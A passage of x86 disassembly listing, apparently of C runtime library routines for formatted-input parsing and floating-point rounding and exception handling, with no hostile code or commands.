[ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_1D8] push edx call sub_42B330 add esp, 8 jmp loc_42B17A ; --------------------------------------------------------------------------- loc_42B0B6: ; CODE XREF: sub_429E90+1203j mov eax, [ebp+var_1D8] and eax, 0FFh mov ecx, ds:off_453BE4 xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_42B151 mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov esi, edx mov eax, [ebp+arg_0] push eax call sub_42B2D0 add esp, 4 mov [ebp+var_1F4], eax mov ecx, [ebp+var_1F4] mov edx, [ebp+arg_4] add edx, 1 mov [ebp+arg_4], edx cmp esi, ecx jz short loc_42B148 mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_1F4] push edx call sub_42B330 add esp, 8 mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_1D8] push edx call sub_42B330 add esp, 8 jmp short loc_42B17A ; --------------------------------------------------------------------------- loc_42B148: ; CODE XREF: sub_429E90+127Cj mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax loc_42B151: ; CODE XREF: sub_429E90+11C9j ; sub_429E90+1245j cmp [ebp+var_1D8], 0FFFFFFFFh jnz short loc_42B175 mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] cmp edx, 25h jnz short loc_42B173 mov eax, [ebp+arg_4] xor ecx, ecx mov cl, [eax+1] cmp ecx, 6Eh jz short loc_42B175 loc_42B173: ; CODE XREF: sub_429E90+12D4j jmp short loc_42B17A ; --------------------------------------------------------------------------- loc_42B175: ; CODE XREF: sub_429E90+12C8j ; sub_429E90+12E1j jmp loc_429F07 ; --------------------------------------------------------------------------- loc_42B17A: ; CODE XREF: sub_429E90+80j ; sub_429E90+635j ... cmp [ebp+var_1D8], 0FFFFFFFFh jnz short loc_42B1AE cmp [ebp+var_34], 0 jnz short loc_42B19D movsx edx, [ebp+var_28] test edx, edx jnz short loc_42B19D mov [ebp+var_224], 0FFFFFFFFh jmp short loc_42B1A6 ; --------------------------------------------------------------------------- loc_42B19D: ; CODE XREF: sub_429E90+12F7j ; sub_429E90+12FFj mov eax, [ebp+var_34] mov [ebp+var_224], eax loc_42B1A6: ; CODE XREF: sub_429E90+130Bj mov eax, [ebp+var_224] jmp short loc_42B1B1 ; --------------------------------------------------------------------------- loc_42B1AE: ; CODE XREF: sub_429E90+12F1j mov eax, [ebp+var_34] loc_42B1B1: ; CODE XREF: sub_429E90+131Cj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_429E90 endp ; --------------------------------------------------------------------------- off_42B1B8 dd offset loc_42A14A ; DATA XREF: sub_429E90+239r dd offset loc_42A0D0 dd offset loc_42A0E8 dd offset loc_42A12C dd offset loc_42A0D5 dd offset loc_42A137 dd offset loc_42A13F dd offset loc_42A155 byte_42B1D8 db 0 ; DATA XREF: sub_429E90+233r db 3 dup(7) dd 6 dup(7070707h), 2070701h, 7030707h, 7070701h, 5 dup(7070707h) dd 7040707h, 7050707h, 2 dup(7070707h) db 7, 6 off_42B226 dd offset loc_42A25B ; DATA XREF: sub_429E90+3C4r dd offset loc_42A794 dd offset loc_42AC07 dd offset loc_42A68B dd offset loc_42ABF2 dd offset loc_42A790 dd offset loc_42A2A1 dd offset loc_42A692 dd offset loc_42A2C6 dd offset loc_42AFDA byte_42B24E db 0 ; DATA XREF: sub_429E90+3BEr db 1 dd 9020202h, 9090903h, 5010409h, 9060909h, 7090901h, 0CC080909h dd 2 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B270 proc near ; CODE XREF: sub_429E90+9E9p ; sub_429E90+BCCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 cmp ds:dword_453DF0, 1 jle short loc_42B292 push 4 mov eax, [ebp+arg_0] push eax call sub_427040 add esp, 8 mov [ebp+var_4], eax jmp short loc_42B2A7 ; --------------------------------------------------------------------------- loc_42B292: ; CODE XREF: sub_42B270+Dj mov ecx, [ebp+arg_0] mov edx, ds:off_453BE4 xor eax, eax mov ax, [edx+ecx*2] and eax, 4 mov [ebp+var_4], eax loc_42B2A7: ; CODE XREF: sub_42B270+20j cmp [ebp+var_4], 0 jz short loc_42B2B5 mov ecx, [ebp+arg_0] mov [ebp+var_8], ecx jmp short loc_42B2C1 ; --------------------------------------------------------------------------- loc_42B2B5: ; CODE XREF: sub_42B270+3Bj mov edx, [ebp+arg_0] and edx, 0FFFFFFDFh sub edx, 7 mov [ebp+var_8], edx loc_42B2C1: ; CODE XREF: sub_42B270+43j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_42B270 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B2D0 proc near ; CODE XREF: sub_429E90+370p ; sub_429E90+698p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov ecx, [eax+4] sub ecx, 1 mov edx, [ebp+arg_0] mov [edx+4], ecx mov eax, [ebp+arg_0] cmp dword ptr [eax+4], 0 jl short loc_42B30B mov ecx, [ebp+arg_0] mov edx, [ecx] movsx eax, byte ptr [edx] and eax, 0FFh mov [ebp+var_4], eax mov ecx, [ebp+arg_0] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_0] mov [eax], edx jmp short loc_42B31A ; --------------------------------------------------------------------------- loc_42B30B: ; CODE XREF: sub_42B2D0+1Aj mov ecx, [ebp+arg_0] push ecx call sub_427100 add esp, 4 mov [ebp+var_4], eax loc_42B31A: ; CODE XREF: sub_42B2D0+39j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42B2D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B330 proc near ; CODE XREF: sub_429E90+ECp ; sub_429E90+666p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_0], 0FFFFFFFFh jz short loc_42B349 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_431E10 add esp, 8 loc_42B349: ; CODE XREF: sub_42B330+7j pop ebp retn sub_42B330 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B350 proc near ; CODE XREF: sub_429E90+E3p ; sub_429E90+353p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx loc_42B354: ; CODE XREF: sub_42B350+30j mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_4] push eax call sub_42B2D0 add esp, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] push ecx call sub_421940 add esp, 4 test eax, eax jz short loc_42B382 jmp short loc_42B354 ; --------------------------------------------------------------------------- loc_42B382: ; CODE XREF: sub_42B350+2Ej mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_42B350 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_42B390(double) sub_42B390 proc near ; CODE XREF: sub_41FFF0+C3p ; sub_420210+C3p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42B390 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_42B3B0(int,double,int) sub_42B3B0 proc near ; CODE XREF: sub_41FFF0+85p ; sub_420210+85p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp ds:dword_454450, 0 jnz short loc_42B3E4 mov eax, [ebp+arg_C] push eax ; int mov ecx, [ebp+10h] push ecx mov edx, [ebp+arg_4] push edx ; double push 0 ; int push 0 ; int mov eax, [ebp+10h] push eax ; int mov ecx, [ebp+arg_4] push ecx ; int mov edx, [ebp+arg_0] push edx ; int push 1 ; int call sub_42BE60 add esp, 24h jmp short loc_42B403 ; --------------------------------------------------------------------------- loc_42B3E4: ; CODE XREF: sub_42B3B0+Aj call sub_429A90 mov dword ptr [eax], 21h push 0FFFFh mov eax, [ebp+arg_C] push eax call sub_42C2F0 add esp, 8 fld qword ptr [ebp+arg_4] loc_42B403: ; CODE XREF: sub_42B3B0+32j pop ebp retn sub_42B3B0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 fld qword ptr [ebp+0Ch] fadd qword ptr [ebp+14h] fstp qword ptr [ebp-8] cmp ds:dword_454450, 0 jnz short loc_42B454 mov eax, [ebp+1Ch] push eax mov ecx, [ebp-4] push ecx mov edx, [ebp-8] push edx mov eax, [ebp+18h] push eax mov ecx, [ebp+14h] push ecx mov edx, [ebp+10h] push edx mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx push 1 call sub_42BE60 add esp, 24h jmp short loc_42B473 ; --------------------------------------------------------------------------- loc_42B454: ; CODE XREF: _0:0042B426j call sub_429A90 mov dword ptr [eax], 21h push 0FFFFh mov edx, [ebp+1Ch] push edx call sub_42C2F0 add esp, 8 fld qword ptr [ebp-8] loc_42B473: ; CODE XREF: _0:0042B452j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_42B480(int,int,int,int,double,int) sub_42B480 proc near ; CODE XREF: sub_41FFF0+B1p ; sub_41FFF0+129p ... var_5C = byte ptr -5Ch var_24 = dword ptr -24h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch mov eax, [ebp+arg_18] push eax lea ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_0] push edx call sub_42BAE0 add esp, 0Ch test eax, eax jnz short loc_42B4C6 mov eax, [ebp+var_24] and al, 0FEh mov [ebp+var_24], eax lea ecx, [ebp+arg_10] push ecx lea edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx lea edx, [ebp+arg_18] push edx lea eax, [ebp+var_5C] push eax call sub_42B610 add esp, 18h loc_42B4C6: ; CODE XREF: sub_42B480+1Cj mov ecx, [ebp+arg_0] push ecx call sub_42BF80 add esp, 4 mov [ebp+var_4], eax cmp ds:dword_454450, 0 jnz short loc_42B50E cmp [ebp+var_4], 0 jz short loc_42B50E mov edx, [ebp+arg_18] push edx ; int mov eax, dword ptr [ebp+arg_10+4] push eax mov ecx, dword ptr [ebp+arg_10] push ecx ; double push 0 ; int push 0 ; int mov edx, [ebp+arg_C] push edx ; int mov eax, [ebp+arg_8] push eax ; int mov ecx, [ebp+arg_4] push ecx ; int mov edx, [ebp+var_4] push edx ; int call sub_42BE60 add esp, 24h jmp short loc_42B52E ; --------------------------------------------------------------------------- loc_42B50E: ; CODE XREF: sub_42B480+5Cj ; sub_42B480+62j mov eax, [ebp+var_4] push eax call sub_42BF00 add esp, 4 push 0FFFFh mov ecx, [ebp+arg_18] push ecx call sub_42C2F0 add esp, 8 fld [ebp+arg_10] loc_42B52E: ; CODE XREF: sub_42B480+8Cj mov esp, ebp pop ebp retn sub_42B480 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 5Ch mov eax, [ebp+28h] push eax lea ecx, [ebp+20h] push ecx mov edx, [ebp+8] push edx call sub_42BAE0 add esp, 0Ch test eax, eax jnz short loc_42B59E mov eax, [ebp-24h] or al, 1 mov [ebp-24h], eax mov ecx, [ebp-24h] and ecx, 0FFFFFFE1h or ecx, 2 mov [ebp-24h], ecx mov edx, [ebp+18h] mov [ebp-34h], edx mov eax, [ebp+1Ch] mov [ebp-30h], eax lea ecx, [ebp+20h] push ecx lea edx, [ebp+10h] push edx mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx lea edx, [ebp+28h] push edx lea eax, [ebp-5Ch] push eax call sub_42B610 add esp, 18h loc_42B59E: ; CODE XREF: _0:0042B55Cj mov ecx, [ebp+8] push ecx call sub_42BF80 add esp, 4 mov [ebp-4], eax cmp ds:dword_454450, 0 jnz short loc_42B5EA cmp dword ptr [ebp-4], 0 jz short loc_42B5EA mov edx, [ebp+28h] push edx mov eax, [ebp+24h] push eax mov ecx, [ebp+20h] push ecx mov edx, [ebp+1Ch] push edx mov eax, [ebp+18h] push eax mov ecx, [ebp+14h] push ecx mov edx, [ebp+10h] push edx mov eax, [ebp+0Ch] push eax mov ecx, [ebp-4] push ecx call sub_42BE60 add esp, 24h jmp short loc_42B60A ; --------------------------------------------------------------------------- loc_42B5EA: ; CODE XREF: _0:0042B5B4j _0:0042B5BAj mov edx, [ebp-4] push edx call sub_42BF00 add esp, 4 push 0FFFFh mov eax, [ebp+28h] push eax call sub_42C2F0 add esp, 8 fld qword ptr [ebp+20h] loc_42B60A: ; CODE XREF: _0:0042B5E8j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B610 proc near ; CODE XREF: sub_42B480+3Ep ; _0:0042B596p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx+8], 0 mov edx, [ebp+arg_0] mov dword ptr [edx+0Ch], 0 mov eax, [ebp+arg_8] and eax, 10h test eax, eax jz short loc_42B654 mov [ebp+var_4], 0C000008Fh mov ecx, [ebp+arg_0] mov edx, [ecx+4] or edx, 1 mov eax, [ebp+arg_0] mov [eax+4], edx loc_42B654: ; CODE XREF: sub_42B610+2Cj mov ecx, [ebp+arg_8] and ecx, 2 test ecx, ecx jz short loc_42B673 mov [ebp+var_4], 0C0000093h mov edx, [ebp+arg_0] mov eax, [edx+4] or al, 2 mov ecx, [ebp+arg_0] mov [ecx+4], eax loc_42B673: ; CODE XREF: sub_42B610+4Cj mov edx, [ebp+arg_8] and edx, 1 test edx, edx jz short loc_42B693 mov [ebp+var_4], 0C0000091h mov eax, [ebp+arg_0] mov ecx, [eax+4] or ecx, 4 mov edx, [ebp+arg_0] mov [edx+4], ecx loc_42B693: ; CODE XREF: sub_42B610+6Bj mov eax, [ebp+arg_8] and eax, 4 test eax, eax jz short loc_42B6B3 mov [ebp+var_4], 0C000008Eh mov ecx, [ebp+arg_0] mov edx, [ecx+4] or edx, 8 mov eax, [ebp+arg_0] mov [eax+4], edx loc_42B6B3: ; CODE XREF: sub_42B610+8Bj mov ecx, [ebp+arg_8] and ecx, 8 test ecx, ecx jz short loc_42B6D2 mov [ebp+var_4], 0C0000090h mov edx, [ebp+arg_0] mov eax, [edx+4] or al, 10h mov ecx, [ebp+arg_0] mov [ecx+4], eax loc_42B6D2: ; CODE XREF: sub_42B610+ABj mov edx, [ebp+arg_4] mov eax, [edx] and eax, 1 neg eax sbb eax, eax inc eax and eax, 1 shl eax, 4 mov ecx, [ebp+arg_0] mov edx, [ecx+8] and edx, 0FFFFFFEFh or edx, eax mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ecx] and edx, 4 neg edx sbb edx, edx inc edx and edx, 1 shl edx, 3 mov eax, [ebp+arg_0] mov ecx, [eax+8] and ecx, 0FFFFFFF7h or ecx, edx mov edx, [ebp+arg_0] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [eax] and ecx, 8 neg ecx sbb ecx, ecx inc ecx and ecx, 1 shl ecx, 2 mov edx, [ebp+arg_0] mov eax, [edx+8] and al, 0FBh or eax, ecx mov ecx, [ebp+arg_0] mov [ecx+8], eax mov edx, [ebp+arg_4] mov eax, [edx] and eax, 10h neg eax sbb eax, eax inc eax and eax, 1 shl eax, 1 mov ecx, [ebp+arg_0] mov edx, [ecx+8] and edx, 0FFFFFFFDh or edx, eax mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ecx] and edx, 20h neg edx sbb edx, edx inc edx and edx, 1 mov eax, [ebp+arg_0] mov ecx, [eax+8] and ecx, 0FFFFFFFEh or ecx, edx mov edx, [ebp+arg_0] mov [edx+8], ecx call sub_42C2B0 mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, 1 test eax, eax jz short loc_42B7A2 mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] or edx, 10h mov eax, [ebp+arg_0] mov [eax+0Ch], edx loc_42B7A2: ; CODE XREF: sub_42B610+181j mov ecx, [ebp+var_8] and ecx, 4 test ecx, ecx jz short loc_42B7BA mov edx, [ebp+arg_0] mov eax, [edx+0Ch] or al, 8 mov ecx, [ebp+arg_0] mov [ecx+0Ch], eax loc_42B7BA: ; CODE XREF: sub_42B610+19Aj mov edx, [ebp+var_8] and edx, 8 test edx, edx jz short loc_42B7D3 mov eax, [ebp+arg_0] mov ecx, [eax+0Ch] or ecx, 4 mov edx, [ebp+arg_0] mov [edx+0Ch], ecx loc_42B7D3: ; CODE XREF: sub_42B610+1B2j mov eax, [ebp+var_8] and eax, 10h test eax, eax jz short loc_42B7EC mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] or edx, 2 mov eax, [ebp+arg_0] mov [eax+0Ch], edx loc_42B7EC: ; CODE XREF: sub_42B610+1CBj mov ecx, [ebp+var_8] and ecx, 20h test ecx, ecx jz short loc_42B804 mov edx, [ebp+arg_0] mov eax, [edx+0Ch] or al, 1 mov ecx, [ebp+arg_0] mov [ecx+0Ch], eax loc_42B804: ; CODE XREF: sub_42B610+1E4j mov edx, [ebp+arg_4] mov eax, [edx] and eax, 0C00h mov [ebp+var_C], eax cmp [ebp+var_C], 800h ja short loc_42B834 cmp [ebp+var_C], 800h jz short loc_42B84E cmp [ebp+var_C], 0 jz short loc_42B872 cmp [ebp+var_C], 400h jz short loc_42B860 jmp short loc_42B87F ; --------------------------------------------------------------------------- loc_42B834: ; CODE XREF: sub_42B610+208j cmp [ebp+var_C], 0C00h jz short loc_42B83F jmp short loc_42B87F ; --------------------------------------------------------------------------- loc_42B83F: ; CODE XREF: sub_42B610+22Bj mov ecx, [ebp+arg_0] mov edx, [ecx] or edx, 3 mov eax, [ebp+arg_0] mov [eax], edx jmp short loc_42B87F ; --------------------------------------------------------------------------- loc_42B84E: ; CODE XREF: sub_42B610+211j mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 0FFFFFFFCh or edx, 2 mov eax, [ebp+arg_0] mov [eax], edx jmp short loc_42B87F ; --------------------------------------------------------------------------- loc_42B860: ; CODE XREF: sub_42B610+220j mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 0FFFFFFFCh or edx, 1 mov eax, [ebp+arg_0] mov [eax], edx jmp short loc_42B87F ; --------------------------------------------------------------------------- loc_42B872: ; CODE XREF: sub_42B610+217j mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 0FFFFFFFCh mov eax, [ebp+arg_0] mov [eax], edx loc_42B87F: ; CODE XREF: sub_42B610+222j ; sub_42B610+22Dj ... mov ecx, [ebp+arg_4] mov edx, [ecx] and edx, 300h mov [ebp+var_10], edx cmp [ebp+var_10], 0 jz short loc_42B8C8 cmp [ebp+var_10], 200h jz short loc_42B8B6 cmp [ebp+var_10], 300h jz short loc_42B8A7 jmp short loc_42B8D8 ; --------------------------------------------------------------------------- loc_42B8A7: ; CODE XREF: sub_42B610+293j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE3h mov edx, [ebp+arg_0] mov [edx], ecx jmp short loc_42B8D8 ; --------------------------------------------------------------------------- loc_42B8B6: ; CODE XREF: sub_42B610+28Aj mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE3h or ecx, 4 mov edx, [ebp+arg_0] mov [edx], ecx jmp short loc_42B8D8 ; --------------------------------------------------------------------------- loc_42B8C8: ; CODE XREF: sub_42B610+281j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE3h or ecx, 8 mov edx, [ebp+arg_0] mov [edx], ecx loc_42B8D8: ; CODE XREF: sub_42B610+295j ; sub_42B610+2A4j ... mov eax, [ebp+arg_C] and eax, 0FFFh shl eax, 5 mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 0FFFE001Fh or edx, eax mov eax, [ebp+arg_0] mov [eax], edx mov ecx, [ebp+arg_0] mov edx, [ecx+20h] or edx, 1 mov eax, [ebp+arg_0] mov [eax+20h], edx mov ecx, [ebp+arg_0] mov edx, [ecx+20h] and edx, 0FFFFFFE1h or edx, 2 mov eax, [ebp+arg_0] mov [eax+20h], edx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_10] mov eax, [edx] mov [ecx+10h], eax mov edx, [edx+4] mov [ecx+14h], edx mov eax, [ebp+arg_0] mov ecx, [eax+50h] or ecx, 1 mov edx, [ebp+arg_0] mov [edx+50h], ecx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE1h or ecx, 2 mov edx, [ebp+arg_0] mov [edx+50h], ecx mov eax, [ebp+arg_0] mov ecx, [ebp+arg_14] mov edx, [ecx] mov [eax+40h], edx mov ecx, [ecx+4] mov [eax+44h], ecx call sub_42C2D0 lea edx, [ebp+arg_0] push edx push 1 push 0 mov eax, [ebp+var_4] push eax call ds:dword_4F54EC ; RaiseException mov ecx, [ebp+arg_0] mov edx, [ecx+8] shr edx, 4 and edx, 1 test edx, edx jz short loc_42B98D mov eax, [ebp+arg_4] mov ecx, [eax] and ecx, 0FFFFFFFEh mov edx, [ebp+arg_4] mov [edx], ecx loc_42B98D: ; CODE XREF: sub_42B610+36Ej mov eax, [ebp+arg_0] mov ecx, [eax+8] shr ecx, 3 and ecx, 1 test ecx, ecx jz short loc_42B9A9 mov edx, [ebp+arg_4] mov eax, [edx] and al, 0FBh mov ecx, [ebp+arg_4] mov [ecx], eax loc_42B9A9: ; CODE XREF: sub_42B610+38Bj mov edx, [ebp+arg_0] mov eax, [edx+8] shr eax, 2 and eax, 1 test eax, eax jz short loc_42B9C6 mov ecx, [ebp+arg_4] mov edx, [ecx] and edx, 0FFFFFFF7h mov eax, [ebp+arg_4] mov [eax], edx loc_42B9C6: ; CODE XREF: sub_42B610+3A7j mov ecx, [ebp+arg_0] mov edx, [ecx+8] shr edx, 1 and edx, 1 test edx, edx jz short loc_42B9E2 mov eax, [ebp+arg_4] mov ecx, [eax] and ecx, 0FFFFFFEFh mov edx, [ebp+arg_4] mov [edx], ecx loc_42B9E2: ; CODE XREF: sub_42B610+3C3j mov eax, [ebp+arg_0] mov ecx, [eax+8] and ecx, 1 test ecx, ecx jz short loc_42B9FB mov edx, [ebp+arg_4] mov eax, [edx] and al, 0DFh mov ecx, [ebp+arg_4] mov [ecx], eax loc_42B9FB: ; CODE XREF: sub_42B610+3DDj mov edx, [ebp+arg_0] mov eax, [edx] and eax, 3 mov [ebp+var_14], eax cmp [ebp+var_14], 3 ja short loc_42BA59 mov ecx, [ebp+var_14] jmp off_42BAC1[ecx*4] loc_42BA16: ; DATA XREF: _0:0042BACDo mov edx, [ebp+arg_4] mov eax, [edx] and ah, 0F3h or ah, 0Ch mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_42BA59 ; --------------------------------------------------------------------------- loc_42BA28: ; CODE XREF: sub_42B610+3FFj ; DATA XREF: _0:0042BAC9o mov edx, [ebp+arg_4] mov eax, [edx] and ah, 0F3h or ah, 8 mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_42BA59 ; --------------------------------------------------------------------------- loc_42BA3A: ; CODE XREF: sub_42B610+3FFj ; DATA XREF: _0:0042BAC5o mov edx, [ebp+arg_4] mov eax, [edx] and ah, 0F3h or ah, 4 mov ecx, [ebp+arg_4] mov [ecx], eax jmp short loc_42BA59 ; --------------------------------------------------------------------------- loc_42BA4C: ; CODE XREF: sub_42B610+3FFj ; DATA XREF: _0:off_42BAC1o mov edx, [ebp+arg_4] mov eax, [edx] and ah, 0F3h mov ecx, [ebp+arg_4] mov [ecx], eax loc_42BA59: ; CODE XREF: sub_42B610+3FAj ; sub_42B610+416j ... mov edx, [ebp+arg_0] mov eax, [edx] shr eax, 2 and eax, 7 mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short loc_42BA7B cmp [ebp+var_18], 1 jz short loc_42BA8D cmp [ebp+var_18], 2 jz short loc_42BA9F jmp short loc_42BAAC ; --------------------------------------------------------------------------- loc_42BA7B: ; CODE XREF: sub_42B610+45Bj mov ecx, [ebp+arg_4] mov edx, [ecx] and dh, 0F3h or dh, 3 mov eax, [ebp+arg_4] mov [eax], edx jmp short loc_42BAAC ; --------------------------------------------------------------------------- loc_42BA8D: ; CODE XREF: sub_42B610+461j mov ecx, [ebp+arg_4] mov edx, [ecx] and dh, 0F3h or dh, 2 mov eax, [ebp+arg_4] mov [eax], edx jmp short loc_42BAAC ; --------------------------------------------------------------------------- loc_42BA9F: ; CODE XREF: sub_42B610+467j mov ecx, [ebp+arg_4] mov edx, [ecx] and dh, 0F3h mov eax, [ebp+arg_4] mov [eax], edx loc_42BAAC: ; CODE XREF: sub_42B610+469j ; sub_42B610+47Bj ... mov ecx, [ebp+arg_0] mov edx, [ebp+arg_14] mov eax, [ecx+40h] mov [edx], eax mov ecx, [ecx+44h] mov [edx+4], ecx mov esp, ebp pop ebp retn sub_42B610 endp ; --------------------------------------------------------------------------- off_42BAC1 dd offset loc_42BA4C ; DATA XREF: sub_42B610+3FFr dd offset loc_42BA3A dd offset loc_42BA28 dd offset loc_42BA16 align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BAE0 proc near ; CODE XREF: sub_42B480+12p ; _0:0042B552p var_44 = dword ptr -44h var_40 = qword ptr -40h var_38 = qword ptr -38h var_30 = qword ptr -30h var_28 = qword ptr -28h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = qword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 44h mov eax, [ebp+arg_0] and eax, 1Fh mov [ebp+var_4], eax mov ecx, [ebp+arg_0] and ecx, 8 test ecx, ecx jz short loc_42BB1A mov edx, [ebp+arg_8] and edx, 1 test edx, edx jz short loc_42BB1A push 1 call sub_42C330 add esp, 4 mov eax, [ebp+var_4] and al, 0F7h mov [ebp+var_4], eax jmp loc_42BE1E ; --------------------------------------------------------------------------- loc_42BB1A: ; CODE XREF: sub_42BAE0+17j ; sub_42BAE0+21j mov ecx, [ebp+arg_0] and ecx, 4 test ecx, ecx jz short loc_42BB45 mov edx, [ebp+arg_8] and edx, 4 test edx, edx jz short loc_42BB45 push 4 call sub_42C330 add esp, 4 mov eax, [ebp+var_4] and al, 0FBh mov [ebp+var_4], eax jmp loc_42BE1E ; --------------------------------------------------------------------------- loc_42BB45: ; CODE XREF: sub_42BAE0+42j ; sub_42BAE0+4Cj mov ecx, [ebp+arg_0] and ecx, 1 test ecx, ecx jz loc_42BCC1 mov edx, [ebp+arg_8] and edx, 8 test edx, edx jz loc_42BCC1 push 8 call sub_42C330 add esp, 4 mov eax, [ebp+arg_8] and eax, 0C00h mov [ebp+var_20], eax cmp [ebp+var_20], 800h ja short loc_42BBA0 cmp [ebp+var_20], 800h jz short loc_42BBF5 cmp [ebp+var_20], 0 jz short loc_42BBB2 cmp [ebp+var_20], 400h jz loc_42BC35 jmp loc_42BCB3 ; --------------------------------------------------------------------------- loc_42BBA0: ; CODE XREF: sub_42BAE0+9Dj cmp [ebp+var_20], 0C00h jz loc_42BC75 jmp loc_42BCB3 ; --------------------------------------------------------------------------- loc_42BBB2: ; CODE XREF: sub_42BAE0+ACj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_43D2F0 fnstsw ax test ah, 41h jnz short loc_42BBD7 mov edx, dword ptr ds:dbl_454150 mov dword ptr [ebp+var_28], edx mov eax, dword ptr ds:dbl_454150+4 mov dword ptr [ebp+var_28+4], eax jmp short loc_42BBE2 ; --------------------------------------------------------------------------- loc_42BBD7: ; CODE XREF: sub_42BAE0+E2j fld ds:dbl_454150 fchs fstp [ebp+var_28] loc_42BBE2: ; CODE XREF: sub_42BAE0+F5j mov ecx, [ebp+arg_4] mov edx, dword ptr [ebp+var_28] mov [ecx], edx mov eax, dword ptr [ebp+var_28+4] mov [ecx+4], eax jmp loc_42BCB3 ; --------------------------------------------------------------------------- loc_42BBF5: ; CODE XREF: sub_42BAE0+A6j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_43D2F0 fnstsw ax test ah, 41h jnz short loc_42BC1A mov edx, dword ptr ds:dbl_454150 mov dword 